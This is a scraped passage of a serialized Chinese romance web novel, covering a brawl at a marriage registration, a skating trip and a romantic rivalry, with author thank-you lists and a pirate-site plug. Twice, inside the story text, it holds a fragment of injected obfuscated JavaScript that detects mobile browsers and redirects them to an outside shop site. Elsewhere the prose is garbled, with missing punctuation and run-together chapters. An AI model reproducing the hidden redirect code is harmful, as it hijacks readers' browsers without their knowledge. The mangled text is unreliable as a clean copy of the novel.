恰巧快到午休时间,眼见外面有热闹瞧,街道的一群小干部全都放下饭盒,紧随郑东妹的脚步追了出去。 赵强是在赶来领证的路上,与郑大爷发生争执的,街道办距离事发地点不远。 一行人赶过去时,郑大爷早已被人抬到了三轮车上躺着。 他下巴和耳朵上都是暗红血渍,三轮车周围的雪地上,也落着星星点点的血迹。 可见当时的出血量不算小。 郑东妹对外人不假辞色,对父母却十分孝顺。 甫一见到她爹这副惨样,腿都有些发软。 她心里对赵强有气,说出口的话便横冲直撞的,“你怎么把我爸打成这样啊? 赵强一脸冤枉:“我没打他呀,他拽着我衣服,阻止我跟你领证。咱们不是约的十一点半吗,眼瞅着就要迟到了,我一着急就推了大爷一下。地上有点滑,他没站稳,磕到三轮车车把上,就把门牙磕掉了。 他指着车把说:“你看这里,还有他的牙印呢! 他当时手下确实加重了力道,但也不至于把老头的门牙打掉啊! 老头掉了牙,根本原因还是磕的! 郑东妹扒开亲爹的上嘴唇,发现左边的门牙已经不翼而飞了。 右侧的那颗门牙似乎也有点松动,她伸手在那颗牙上摸了摸,惹来亲爹杀猪般的嚎叫。 郑大爷之所以没能在第一时间告状,就是因为这颗要掉不掉的门牙。 他每次开口说话,都感觉那颗牙在左右活动,被舌头一碰就疼。 郑东妹暂时顾不上追究责任,焦急地问:“这牙怎么办啊? 刘金宝凑上来瞧了瞧说:“找个牙医拔了吧,大爷这牙一碰就疼,肯定影响吃饭。这种牙留着也没什么用了! 郑东妹跟亲爹商量:“爸,我先带你去拔牙吧? 郑大爷不舍得拔牙。 到了他这个年纪,嘴里没剩几颗好牙了,拔一颗少一颗。 但他也知道这样硬挺着不行,只好含恨点头。 赵强像是要将功补过,拉着郑东妹说:“医院还挺远的, 而且拔牙也不便宜要不我帮大爷把牙拔了吧?” “你会拔吗?” “那有啥难的!他那颗牙已经松动了轻轻一拽就能下来隔壁金旺的坏牙就是我帮着拔的!” 大家不知金旺是谁以为他有过给人拔牙的经验。 郑东妹寻思去医院拔牙的目的也是要把牙薅下来于是点头让赵强试试。 只有跟他一个车队的车夫知道金旺是他家隔壁金家的老狗。 郑大爷心里恨死赵强了怎么可能让他给自己拔牙! 他捂着嘴呜呜呜不许赵强靠近。 见状赵强随手往天上一指说:“快看!” 郑大爷下意识抬头看向空中还没看清天上有什么就感觉自己嘴里骤然一疼那颗半掉不掉的门牙一下子就被赵强眼疾手快地掰了下去! 围观众人都随着他一哆嗦。 叶满枝更是直接用双手捂住了自己的嘴巴。 “啊啊啊我打死你这个混蛋!”郑大爷往地上吐了一口血沫子没有牙齿的顾忌后追着赵强踢打。 赵强躲到郑东妹身后说:“你看到了吧?大爷刚才就是这样打我不让我跟你领证的!” 郑东妹觉得她爸有点无理取闹皱眉说:“爸我跟赵强领证的事你们不是同意了吗?怎么突然就反悔了?” 郑大爷往雪地上呸了一口血口齿漏风地说:“我们之前没看清这小子的真面目现在看清了当然不能让你们结婚!” “大爷你不就是为了拉活的事看我不顺眼吗?你自己说说我把你带出家门以后 郑东妹眼神复杂地看了亲爹一眼什么也没说。 “你看哪个大老爷们总在家里守着?我怕外人说咱家闲话才把你带出去一起上工的。但我也没让你干活啊!车是我蹬的货也是我搬的给你买肉包子吃我吃菜包子你还有什么不知足的?” 围观众人觉得赵强这小伙子说得在理姑爷能做成他这样真挺不错了。 然而郑大爷却差点背过气去。 他确实 没蹬车,但他走路了呀! 赵强那瘪犊子,自己坐在三轮车上,让他在后面跟着。 上坡的时候,还得帮他推车。 现在正是冬天,他那棉鞋在雪地里走上半个小时就被冻透了。 他一辈子也没遭过这种罪啊! 这小子刚来他家的时候,说得挺好,说什么把他们老两口当成亲爹亲妈照顾,对郑东也像亲大哥一样。 他刚开始确实表现不错,家里一些重体力活都是赵强帮着干的。 可是,自从两人决定领证以后,事情就开始不对了。这小子不但鼓动他出门干活,还想给他老伴也找个工作! 今天更是当着那么多车夫的面,呵斥他一起推车! 直觉告诉郑大爷,这亲事结不得,所以在他赶来领证的路上,郑大爷反悔了。 郑东妹听了事情原委,生气地说:“爸,你怎么回事啊?家里刚过了几天好日子,你咋又闹腾起来了?赵强又没让你干活,你有什么不满意的?” 她这人认死理,谁的话在理,她就听谁的。 她爸今天明显是想耍赖,胡搅蛮缠了。 郑大爷气愤道:“反正我不同意你们结婚,他都把我打成这样了,你要是还敢跟他结婚,我就不认你这个闺女!” “你说这种气话有啥用?不认我的话,谁供你吃喝!”郑东妹拉上赵强,气呼呼地说,“走吧,人家小叶干部把表格都填好了,赶紧去把证领了!” 赵强乖乖任她牵着,扭头问:“小叶干部,现在还能领证不?” “嗯,我加个班,加急帮你们办了吧,”叶满枝往郑大爷脸上的血迹瞟一眼说,“领了结婚证,你们赶紧带郑大爷去医院看看。” 一行人回到街道办,给郑东妹和赵强办理了结婚登记手续。 叶满枝将结婚证递给他们,真心实意地说了一长串祝福语。 赵强拿着结婚证连声道谢,笑着问:“小叶干部,我老丈人不愿意跟我出车,我也不想勉强他。咱们街道的煤炉厂不是在招工人吗?能不能让他去煤炉厂干活?” 叶满枝婉拒:“煤炉厂的工人暂时只招45岁以下的,你来煤炉厂正合适,郑大爷的年纪有点大了。” * 领了结婚证的郑东妹,带着亲爹去 了趟卫生站。 据刘金宝透露这新鲜出炉的翁婿俩在卫生站又干了一架。 叶满枝一下午都在听郑家的八卦跟着大家一起哈哈哈。 下班在院儿里碰上林青梅的时候笑意还挂在唇角上。 “你傻笑什么呢?”林青梅挎着她的臂弯说“人民体育场那边浇了冰场咱班不少同学相约周末去滑冰你也一起去呗。” “但我不会滑冰呀!” 叶满枝对所有娱乐活动都很感兴趣她其实挺想去滑冰的。 不过以前市里没有冰场想滑冰只能去冰封的江面上滑。 由于每年都有孩子掉进冰窟窿的新闻老叶严令禁止自家孩子上江面玩耍 “我也不会滑到时候咱俩一起学!”林青梅搭着她的肩膀说“自打你跟吴团长谈了对象整天形影不离。你能不能把他甩掉单独出去玩一天啊?” “我俩没形影不离吧……” 吴峥嵘最近在搞新项目她在忙煤炉厂每周能碰上两三次就不错了其余时间大多靠飞鸽传书。 林青梅翻个白眼“咱们音乐会最近的几次排练吴团长好像都来了吧?” “嘿嘿他下午要送我去党校学习去音乐会只是顺便的。” “我不管你就说这周末能不能陪我一起去学滑冰吧!”林青梅一脸梦幻地畅想“等咱俩学会了滑冰也能像我二哥似的滑得飞快称霸冰场!” 叶满枝爽快地答:“能!” 她已经可以想象自己御风飞行称霸冰场的场面了! 不过她要跟班里的同学一起玩自然不能带吴峥嵘。 这个小可怜就只能自己过周末啦! 翌日与对方见面时她试探着问:“这周末你有什么安排吗?” “军代室要在周末组织拉练预计中午才能结束。” “怎么又要拉练啊?” 叶满枝原以为军代室那些军官偏向文职主要搞搞产品验收什么的。 与吴峥嵘相处久了才发现他们的训练任务还挺重。 三不五时就要搞一次拉练而且冬天比夏天更频繁每次拉练回来以后棉袄都是湿透的。 吴 峥嵘简短答了句“任务需要”,望向她问:“你是不是有什么安排?” 得知他要参加拉练,叶满枝在心里偷偷窃喜了一下下,故作遗憾地说:“哎,人民体育场新开了冰场,青梅喊我去滑冰,我本来想跟你一起去的,既然你还有正事,那就只能算了。” 她每次言不由衷的时候,总会摇头叹气,吴峥嵘早发现了她这个习惯。 眼见对方又开始摇头,他敛起唇边笑意,认真地说:“那我把拉练时间延后吧,先陪你去滑冰。” “咳咳咳……”叶满枝被热水呛了一口,放下茶缸连连摆手,“不行不行,我可不能耽误你的正事!你还是去拉练吧!” 她已经答应青梅一起学滑冰了,要是吴峥嵘也去了,她到时候先陪谁啊? 吴峥嵘却自顾自地说:“最近陪你的时间确实比较少,还是去滑冰吧,我滑冰水平还可以,能陪你多玩一会儿。” “等我学会滑冰,你再陪我玩吧。”叶满枝将挎包里的围巾拿出来,试图转移话题,“给你的围巾已经织好了,你先试试围巾。” 她觉得吴峥嵘这样的大美人,戴红色或是白色的围巾肯定很好看。 但他整天穿军装,军绿色的衣服配上红围巾有些奇怪,白色又不耐脏,所以最终还是选了比较容易搭配衣服的黑色。 叶满枝帮他把围巾系好,对佩戴效果挺满意,点点头说:“等我再买点毛线,给你织一条烟色的,搭配军装应该也很好看。” 吴峥嵘戴上了新围巾,没再提尚未兑现的毛衣毛裤和手套。 垂眸往针脚细密的围巾上瞄了一眼,语气略显遗憾道:“收了你的围巾,又不能陪你一起去滑冰,总觉得对你有些亏欠。” 叶满枝生怕他又要更改拉练时间,以一种满不在乎的口吻说:“你以后对我好点就行了。” 她艰难地把这一篇儿翻了过去,之后的两天再不敢提滑冰的话题。 然而,周六晚上,踩着门禁的最后五分钟走进自家楼道时,吴峥嵘突然问:“明天真不用我陪你去滑冰?” “不用不用,我跟青梅在一起就行。” “嗯,那把这个给你吧,”吴峥嵘将手里的小箱子递给她,“就当是我缺席的补偿。” 那是个藤编的小型手提箱, 叶满枝见他提了一路,以为是他的工具箱。 她满腹狐疑地打开箱子,借着外面路灯的光亮看清内里的白色冰鞋时,难以控制地“啊了一声。 “你怎么送我这个呀?叶满枝眼里迸出惊喜。 冰场门口有租冰鞋的窗口,她还是新手,其实租一双冰鞋就行。 “第一次上冰,总要有双像样的冰鞋吧?吴峥嵘帮她把毛线帽子往上推了推,露出那双清亮的眼睛,笑着说,“明天玩得开心点。 叶满枝合上手提箱。 惊喜、激动,还有一点点愧疚的情绪一起涌上来,让她不顾场合地抱住对方,踮起脚在他下巴和脸颊上叭叭叭亲了好几口。 “峥嵘哥哥你可太好啦! 她险些激动得邀请对方一起去滑冰,不过想到青梅的叮嘱,以及他的拉练任务,又难受地把话憋了回去。 吴峥嵘只在她唇上轻啄一下,便松开手说:“万一在家门口被人撞见,你又要埋怨我。上楼去吧,明天好好学滑冰。 叶满枝眯着眼睛许诺,“等我学会以后,带你称霸冰场。 “嗯,那就等着小叶同志带我了。 * 第二天上午与青梅汇合时,叶满枝心里满是称霸冰场的豪情壮志。 林青梅却在体育场门口拉住她说:“咱班的大多数同学都来了! “那挺好呀,人多热闹! “周牧也来了!林青梅压低声音抱怨,“不知道谁通知的他,真是…… “他不是去鞍山了吗?什么时候回来的? 周牧的留苏资格被取消以后,似乎消沉了一阵子。 有一次在马路上远远遇见,对方居然提前绕路避开了她。 她对这种举动倒是能理解,周牧在她面前向来要面子,留学资格被他自己作没了,确实不是什么体面事。 叶满枝当时也只当没看见他,目不斜视地走了。 之后她就没在大院里见到过周牧,听说被周大姐接去了鞍山。 林青梅低声道:“好像是最近回来的,陈琳说他要参加明年的高考,前几天去学校报名了。 周牧的成绩一直名列前茅,要不是被选进了留苏名单,今年夏天就参加高考了。 “ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254827|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冰场那么大,人家想来不是咱们能阻止的,叶满枝无所谓道,“走吧,咱们各玩各的。 当初做错事的人又不是她,她才不会主动避让对方呢。 人民体育场的冰场确实很大,几乎整个体育场都被浇成冰面围了起来。 冰场里全是人,各路高手以惊人的速度疾驰而过,有的还能在冰面上旋转跳跃,堪比专业花滑运动员。 而叶满枝和林青梅这种菜鸟,只能在新手专区,扶着栏杆艰难地挪动。 林青梅摔了几个屁股蹲后,坐在冰面上吐槽:“我怀疑全市的高手都聚集到这里了,臭显摆什么呀! 叶满枝去拉她,结果也一屁股坐在了地上,但她还是中肯地说:“我要是也能像人家那样在冰上飞,我也要显摆的! “早知道就把我二哥喊来教咱们了! 叶满枝被另两个同学扶着胳膊,挣扎着从地上爬起来,刚将手心撑到栏杆上,就听一个油腔滑调的声音说:“妹妹,我会滑冰,要不我带带你吧? “谁是你妹妹啊?边儿上玩去!叶满枝不搭理他,挥挥手让那人赶紧滚蛋。 见他穿着军大衣,戴着护耳军帽,还以为对方也是军人,结果这人一开口就流里流气的,听得她直撇嘴。 他们这一片都是初学者,有很多年轻姑娘。 尤其叶满枝穿着白色的花滑鞋,系个红围巾,与同学说话时,白皙漂亮的脸上笑容明媚。 刚与女同学们走上冰场,就引来好几个小青年在附近来回游荡。 这会儿见到有人主动出头搭话了,其他人也纷纷围上来。 有个大高个滑到林青梅身边说:“同学,我带你滑一圈吧,包教包会,学不会我就终身负责。 “用不着。 “你要是不跟我学,这冰场里恐怕没人敢教你。 林青梅嘁了一声,拉着叶满枝说:“赶紧报公安,这里有人吹牛逼,场面控制不住了! 叶满枝被她逗笑,要不是还扶着栏杆,可能已经摔到地上去了。 大高个被林青梅怼得没面子,见叶满枝笑得灿烂,又改了主意,想伸手邀请她一起滑冰。 然而,他的手还没伸出去,便被一个青年大力攥住了。 来人二话不 说伸手就往他脸上招呼了一拳。 “我X你谁啊!” 眼瞧着大高个被打周围那群小年轻迅速围拢过来将偷袭的人堵在中间。 双方就这样莫名其妙打了起来。 林青梅哎呀一声说:“周牧跟着掺和什么呀?怎么又显着他了?” 叶满枝抻着脖子往人堆里张望“他不会被群殴吧?” 无论如何人家是为了帮她万一被这么多人打伤了她也于心不忍。 “应该不会何新华他们赶过来了!”林青梅往班里男同学的方向指了指。 叶满枝心说要是真的变成群体 事件那还不如让周牧单方面挨揍呢。 脚下的冰鞋限制了她的行动 耳朵里听到周牧的一声闷哼后叶满枝将手伸进棉袄口袋先把红袖箍戴到手腕上然后将哨子放到唇边三长一短吹了好几遍。 “治安执勤!都不许打了!”叶满枝一手扶着栏杆另一手亮出红袖箍“凡是参与聚众斗殴的统统带回派出所!” 被哨声惊扰的小青年们:“……” 大高个放开地上的周牧滑到她身边问:“同志你是公安啊?” “对啊光明派出所的要我给你看看工作证吗?” 叶满枝跟民警们是邻居不怕露馅。 大高个讪讪地摸摸鼻子“工作证就不用看了要不我免费教你滑冰吧?” “倒找钱我都不学。”叶满枝又把戴红袖箍的手臂伸到他跟前“我是今天负责执勤的你们没什么事就进去玩吧别给我们添乱。” 大高个跟朋友们挥挥手一群人呼啦啦地返回冰场滑冰。 滑得远了才跟同伴们说:“那妹妹是个大盖帽咱还是悠着点吧。” 林青梅笑:“你挺厉害啊还敢装民警!” “嘿嘿形势所迫嘛我这不是有效化解了一场群体 事件嘛。”叶满枝瞥向默默滑到身边的周牧“你怎么样啊?先把鼻血擦一擦吧。” 周牧随意在鼻子上抹了一把硬撑着说:“没事他们没打到我。” 叶满枝嫌弃道:“人家跟我说话你突然蹿出来干嘛?” “他们那明显就是调戏你呢!周牧愤愤道,“我还不是为了保护你! “那我谢谢你,这事你以后还是别干了。我现在有对象,你这样纯属费力不讨好。万一被人打伤了,我也不好跟周副厂长交代。 周牧没听后面的内容,揪着第一句话问,“你什么时候有对象了? 他从大姐家回来也有一个礼拜了,没听说叶满枝找对象了呀。 “早就有了,连家长都见过了。 周牧怀疑地看向她,直觉这又是对方为了跟他划清界限找出的借口。 叶满枝任他打量,停顿几秒,压下心里那种微妙情绪,似笑非笑道:“我真有对象了,这人你也认识,就是你那个吴叔叔。 作者有话要说 一百个红包,明天见~ 感谢在2024-08-1212:06:02~2024-08-1312:16:21期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:南瓜?、俏绿俏绿的毛衣安排了、啊喂、磕CP哪有不疯的1个; 感谢灌溉营养液的小天使:雁吹179瓶;乾竹Lille116瓶;love我现在100瓶;可爱的梦子96瓶;小薇90瓶;冷月碧落散青石50瓶;Sj47瓶;A38瓶;ssrsh2o35瓶;唐朗朗32瓶;筱筱、茉茉、二舅三舅都是他舅、ARMY30瓶;恋爱要跟法国男人谈、时韫、J、十一月、牛牛、不怕紧箍咒的悟空、灵魂二百斤、前渝、初雪、。。。、就是来磕糖、nika、是饼饼吖20瓶;我是一只小阿德18瓶;4965634916瓶;清醒沉沦15瓶;冰鱼鱼13瓶;春三月、夏目家的白龙12瓶;折柳11瓶;彭彭、21390079、48235208、碧落、18924256、九疑山的小兔兔、觑觑眼婷婷、不想书荒的书虫、乌韭、简单、木禾、二美啊、63718905、花花vic、星星star、晨曦、深海、Dora、戊小乙、佳宝至爱、苏荷、逐梦的游鱼、水果岚紫、人间好季节、闷闷、泺落、一花、茜嘻、Cocoa、灵z、福大命大、晒月光、拉郎配10瓶;星辰9瓶;艾的就是笠、狐狸眼8瓶;明亮美好的吃货、baalaa、楸楸偷湫湫6瓶;王哪跑 第 52 章 吴峥嵘VS周牧 第52章吴峥嵘VS周牧 刚刚听到的内容,让周牧坚信叶满枝在骗他。 她的对象怎么可能是吴峥嵘呢? 吴峥嵘是部队在656厂的全权代表,大到技术资料的制定更改、成品验收,小到厂里的清洁卫生、财务成本,几乎全在军代室的监督范围之内。 虽然年纪轻,但吴峥嵘是厂领导! 而叶满枝呢? 半年前还是高中生,如今也不过是个街道小干部。 这两人完全就是两个世界的人,在生活和工作上没有任何交集! “你跟我闹脾气也要有点分寸,吴叔叔是驻厂军代表,这种玩笑可不能开到他身上!” 叶满枝无语:“咱俩早八百年就退婚了,现在什么关系也没有,谁跟你闹脾气啊?” 要不是穿着冰鞋行动不便,她真想离这家伙远远的。 林青梅替她作证:“来芽现在的对象真是吴团长。周牧啊,我觉得你现在特没劲!说你想跟来芽和好吧,你不声不响地消失好几个月,杳无音信。说你把来芽放下了吧,你又突然蹦出来纠缠不清。” 她下意识往叶满枝脚上的花滑鞋上瞟去,人家吴团长早已经糖衣炮弹、攻城略地,即将修成正果了。 你还在这反复无常呢! 要是真的那么放不下,你早干嘛来着? 周牧蹙眉看向叶满枝,“我前阵子去了我姐那里,但每个月都有给你写信,怎么算是杳无音信呢?” 留苏资格被取消,对他的打击不可谓不大。 既觉得前途未卜,又觉得丢人,住在军工大院里,似乎时刻都有人在背后议论嘲笑他。 他想暂时离开这个环境,所以去了大姐那里散心,顺便定下了明年参加高考的目标。 至于叶满枝这里,他确实没想那么多。 叶家父母不着急让她嫁人,她还那么年轻,怎么可能刚跟他退婚,就立马跟别人谈婚论嫁呢? 瞥见他这副瞠目结舌的表情,叶满枝心里还挺痛快的。 她没收到过周牧写的信,即使收到了也改变不了什么。 她这人记仇,周牧帮外人冒用她体检报告的事,她能记一辈子,复合是不可能复合的。 叶满枝觉得跟他争辩这个挺没意思,她还想抓紧时间学会滑冰,然后称霸冰场呢! 她随意摆摆手说:“我没必要拿这种事骗你,你回厂里一打听就清楚了,爱信不信吧。” 而后自以为潇洒,实则步履蹒跚地搀着青梅滑远了。 叶满枝和林青梅是一伙儿的,她俩以前就经常合伙捉弄他,周牧对她们的话半信半疑,于是他跑回家跟父母打听了情况。 周振业并不打算在这件事上瞒着儿子,颔首说:“吴峥嵘确实在跟叶家那丫头谈对象。” 周牧有了心理准备,但听到肯定的答复后,脑子里仍是嗡嗡的。 他提高声音问:“叶满枝怎么可能跟吴峥嵘谈对象呢?他俩不可能认识啊?” “怎么不可能?吴峥嵘到了适婚年龄,党组织要帮他介绍对象,介绍人正好就相中了叶满枝。他们是经过组织介绍认识的!” 周牧不可置信道:“厂里那么多女的,党组织为什么要把叶满枝介绍给吴峥嵘?” “她是工人家庭出身,父兄都在厂里工作,历史背景清楚,高中文化,人也长得不错,党组织把她介绍给吴峥嵘是正常操作。” “她这个条件既然能跟吴峥嵘相亲,”周牧瞪着眼睛,气愤道,“当初你跟我妈为什么对她挑三拣四,非要把我们的娃娃亲搅黄了?” 周振业冷声提醒:“叶满枝跟你退婚,不是我们搅黄的,而是你自己说错话露出了马脚。何况她适合吴峥嵘,却未必适合你。” 他没特意打听过吴峥嵘的家庭背景,只听说他父亲也在部队工作,爷爷是省大工学院的院长。 像吴家这样的家庭,正适合找个叶满枝那样出身不高,成分好,又有些文化的儿媳妇。 而他们老周家是从他这一辈开始发迹的,他能升到656厂副厂长的位置,全靠自己打拼。 上无父母照拂,下无兄弟子女支应,单打独斗到如今,个中艰辛只有他自己清楚。 轮到周牧这里,与他当初的情况差不多,别说亲兄弟了,连堂表兄弟里都没有能帮衬他的。 周振业在这方面吃过亏,自然不想让儿子再走一遍弯路。 若是能有个得力的岳家支持,再有他这个亲爹帮扶,周牧以后的成就不会比他差。 但叶家那种普通工人家庭,不但不能给儿子助力,还会时不时拖一下后腿。 叶满枝已经不适合他们家了。 周振业不后悔让儿子跟叶家退亲,只是当时的手段确实粗糙了些,让他因此与吴峥嵘有了没必要的隔阂。 到了他这个位置,深知多个朋友多条路,多个冤家多堵墙的道理。 为了照顾叶满枝的心情,吴峥嵘不可能再与他深交,更不可能合作了。 周振业替儿子计深远,而周牧却并不领情,他只觉得心里堵着一口气,憋得他快要爆炸了。 “你们是不是早就知道叶满枝跟吴峥嵘好上了,所以才把我哄骗去鞍山的? 柳芸斥道:“你这孩子怎么这么不懂事呢!我跟你爸还不是为了你好!你安下心来考个好大学,分配个好工作,到时候什么样的好姑娘娶不到?叶满枝嫁给军代表,你也娶个身份更高的,这不比你俩凑到一起更好吗? 周牧被气红了眼睛,口不择言地说:“那你俩怎么不离婚呢?你去嫁给市长,让我爸娶个省领导的女儿,这也比你俩凑在一起更好啊! “我看你那些书都读到狗肚子里了!周振业一巴掌扇到儿子脸上,“当初退婚是你自己点头同意的,现在又来埋怨父母有什么用?你有能耐就从吴峥嵘手里把人抢回来,我给你机会,绝不拦着你!要是没那个本事,你就闭嘴听话!父母总不会害了你! 儿子从小到大一直顺风顺水,没经过什么挫折。 眼瞅着就要步入社会了,还跟个没长大的孩子似的,经常冒傻气! 周牧捂着脸,难以置信地望向父亲。 他本就因为叶满枝找对象的事情震惊生气,他爸这一巴掌更是打得他伤心难过。 他怒气冲冲地跑回房间,将房门哐当一声狠狠甩上了。 “老周,你打孩子干嘛啊?柳芸虽然生气,但也心疼儿子。 “我看他就是欠打!要发疯出去发,窝里横算什么本事! 父母的话被周牧听在耳里,他躺在床上,一整晚都在琢磨他跟叶满枝的事情。 他俩明明是青梅竹马一起长大的,怎么就走到如今这个地步了呢? 刚退婚的时候,他还没什么实感,反正他俩总是吵架,分分合合像是家常 便饭。 直到今天听说叶满枝另外找了对象,对象还是吴峥嵘的时候,他才突然意识到,叶满枝似乎真的不再属于他了。 她不会与他结婚,也不能跟他生儿育女了。 周牧心里发酸,眼眶也变得酸涩,将脸埋在枕头里趴了许久。 他觉得那俩人一点都不合适! 吴峥嵘比她大那么多,两人肯定连共同话题都没有,兴许就是因为组织牵线才勉强凑在一起的。 周牧胡思乱想了一晚上。 翌日早上,父母出门上班的时候,他也穿戴整齐走出了家门。 厂领导的住房都在东门的这一片平房小院里,吴峥嵘所住的16号院虽不在周家这一排,但外出上班时,会经过周家的后窗。 周牧就等在后窗的路口处,准备找吴峥嵘谈一谈。 他看到吴峥嵘那个通信员匆匆进了16号院,没过多久又与吴峥嵘一起走了出来。 吴峥嵘似乎出门匆忙,军大衣敞着怀,一边听通信员汇报着什么,一边将黑色围巾系到脖颈上。 由于身份地位和学识修养的差距,周牧心里一直比较敬畏这个吴叔叔。 虽然做好了与对方谈话的准备,但他一时找不到合适的称呼喊住对方。 就在他内心犹豫不决时,吴峥嵘已经走到他所在的路口。 然后,像是根本没看见他这个大活人一般,竟然连眼风都没给他一个,直接擦着他身边走过去了! 周牧:“…… 他这是被对方无视了吗? 秦祥稍稍偏头往斜后方看了一眼,提醒自家团长:“刚刚那个好像是周副厂长的儿子。 吴峥嵘随口“嗯了一声,接着问:“工作组里有没有女同志? “听说政治部的那位宣传干事张庆琳中校,还有车辆处的工程师李晓琴中校,是女同志。其他组员都是男同志。 “那你给这两位女同志单独安排一下,尽量住在条件好一些的周转房里。 秦祥点头表示记下了。 临近年底,上级领导要带着工作组下基层检查指导工作,656厂的军代室也迎来了一个规模不小的工作组。 他正想汇报一下昨天打听到的工作组情况,突然听到身后有人喊了声“ 吴团长。 脚步声快速逼近,周牧很快就赶到了两人身边。 “吴团长! “小周啊,今天不用上学吗? 吴峥嵘停下脚步,笑容算得上温和,好似刚才故意无视对方的人不是他。 周牧以前也经常被他关心学业,从前还不觉得有什么,如今知道他跟叶满枝的关系后,他感觉对方就是在故意嘲讽他,提醒他还只是个没出社会的学生。 他眼里噌地一下生出两团怒火,语气不太客气地问:“吴团长,我能跟你谈谈吗? 吴峥嵘听他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362666|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊自己吴团长,心知这小子应该是回过味儿来了。 他态度还像从前那般和气,笑着问:“小周,你打算以什么身份跟我谈话呢? “我就以周牧的身份,跟你谈谈。 吴峥嵘的个子比他高出半个头,敛眸看人时,总给人一种居高临下的错觉。 “小周,你在我这里只有两个身份,一是周副厂长的儿子,二是叶满枝的退婚对象。 周牧:“…… 他连自己的姓名都不配拥有吗? 吴峥嵘并不介意给年轻人造成心理伤害,毕竟叶满枝也很年轻,同样被面前这个人伤害过。 “如果你以周副厂长儿子的身份与我谈话,我想咱们没什么可谈的,有关工作的问题,我会跟你父亲当面交流。如果你是以叶满枝退婚对象的身份站到我面前,那就更没必要了。有关叶满枝的事情,我可以与她私下进行沟通。 言外之意,无论以什么身份出现,你都没资格跟我谈话。 秦祥瞅瞅脸色涨红的副厂长儿子,还有他那突然攥紧的双拳,若是这小子恼羞成怒与自家团长打起来,他是袖手旁观啊,还是袖手旁观啊? 作者有话要说 晚9点还有一更! 一百个红包,明天见~ 感谢在2024-08-1312:16:21~2024-08-1411:29:11期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:34928636、路人甲1个; 感谢灌溉营养液的小天使:K236瓶;昭昭之月100瓶;别丧打起精神来 91瓶;火锅好好次、鑫淼shifay、小楼又东风、外星人秋裤50瓶;hope&sun43瓶;sissiidun40瓶;白日梦想家、良月、Astry30瓶;纯情大母猴23瓶;顾沉21瓶;吧嗒嗒、脚脚、megin、时光荏苒、一只咩咩羊、懒蚂蚁、七七四十九20瓶;今朝欢乐便无愁、哪儿来这么多如果16瓶;Jelly、鲸鲸惊惊惊惊、袖清风、土豆狂魔biubiubiu、airmmnn、二脚趾与膝盖对齐、灵z、芷旻、柏、微积分不挂科、Teodora、18492545、49656349、洛洛华城、扑棠、青木、果子狸爱吃肉、木木青青、水彩墨迹、xin、52、神仙叶、19931119、阿大、闷闷、哇汪汪、euphy10瓶;人间好季节8瓶;菠萝粥6瓶;远古的梦境、47473392、木木禾白、63718905、地球媛住民、取个名字很难、阿隐、三十斤河东、逢考必过、lenfen123、泉心、本草、嘀嗒嗒、紫亚5瓶;好好爱自己、betty2341、今天也充满元气、千千千金、魏婴3瓶;.泪海的盐、35252503、宝贝、绵绵戏雨、景安、呜咪、红糖酥饼、兰迦、大肚的书架、上岸、小丫2瓶;筱筱、风景旧曾谙、afracao、jialuoyou、蟹小姐、星空、酸奶少68、D、砳砳12138、41104090、今天仍是等待更文中、西开、清、西瓜、小鸣、一江暮暮暮暮暮雪、天晴无雨、不出、顏则正、syt、ee、巧克力张张包、龚俊什么时候出来玩、yangtt、缺德三公主、‘早起的虫儿、被鸟吃、halo、xiaoxiao、crystal、鲁米茜茜、赵婋、喵喵摸~、竹秋、云烁、明明、Roselle、嗷呜嗷呜小奶龙、kimpl0913、55026984、啦啦啦、游鱼、柠檬的柠的檬、豆子、小新没蜡笔、你是年少的欢喜、钦葵、可尔必思、晨熙麻麻、小砂子的深夜食堂、追的文都不断更、清凌凌冷清清、禾乌昂、60536178、荔枝枝、沅沅、一亩田、sai好きです、索老师、鲈鱼轻轻、章鱼丸子、茜yuyu、喵朵、椰子椰子树、啦啦啦啦、春天花花、晚来天欲雪、想不出名字的马小马、芋圆儿、上山打老虎、我演戈多、洛、莹、20521816、57370805、有好吃的饭吗、三叶草??、凉小妖、Cynthia、七月凉透心、Q、xuanxuan127、珂珂不怕胖、吃瓜卷大饼、墨陌、感觉、小术士、金子、然然然然然然然然、涵涵妈、喵喵、雨革月、雾弥、清描淡写、哦呦呦、乔巴渣、香菇、小鱼尾巴、毛猫、69208282、非VIP用户、拿秦希武、北桥楠木、时闻、天天向上、桃子家的阿狸、瘦成S腰、∞、秋雨、美好晴空、今晚几点睡、24228015、我不会放过任何更新、123、helloza、蓝雨、瑶光、胖蟹、李木木、月胧明、可达呀、何夕今夕、红领巾、43898501、谁说兔子就吃草、溪言、608039551瓶; 小说更新,记住域名qiexs⑸(请来企鹅 小说 看最新章节 完整章节) 非常感谢大家对我的支持,我会继续努力的! 第 53 章 小叶干部的业绩是... 第53章小叶干部的业绩是 吴峥嵘无视情敌,与小周同学错身而过的时候,叶满枝已经坐在办公室里,愉快地织起毛衣了。 尽管她的滑冰技巧不怎么样,但那双白色冰鞋让她在冰场上特别拉风,所以她决定先把俏绿俏绿的毛衣安排上,尽量让吴峥嵘在过年时穿上新毛衣。 瞧见她这副悠闲样子,刘金宝酸溜溜地说:“咱们小叶厂长算是媳妇熬成婆了!” 叶满枝了然地问:“你那动员返乡的任务,还没完成啊?” 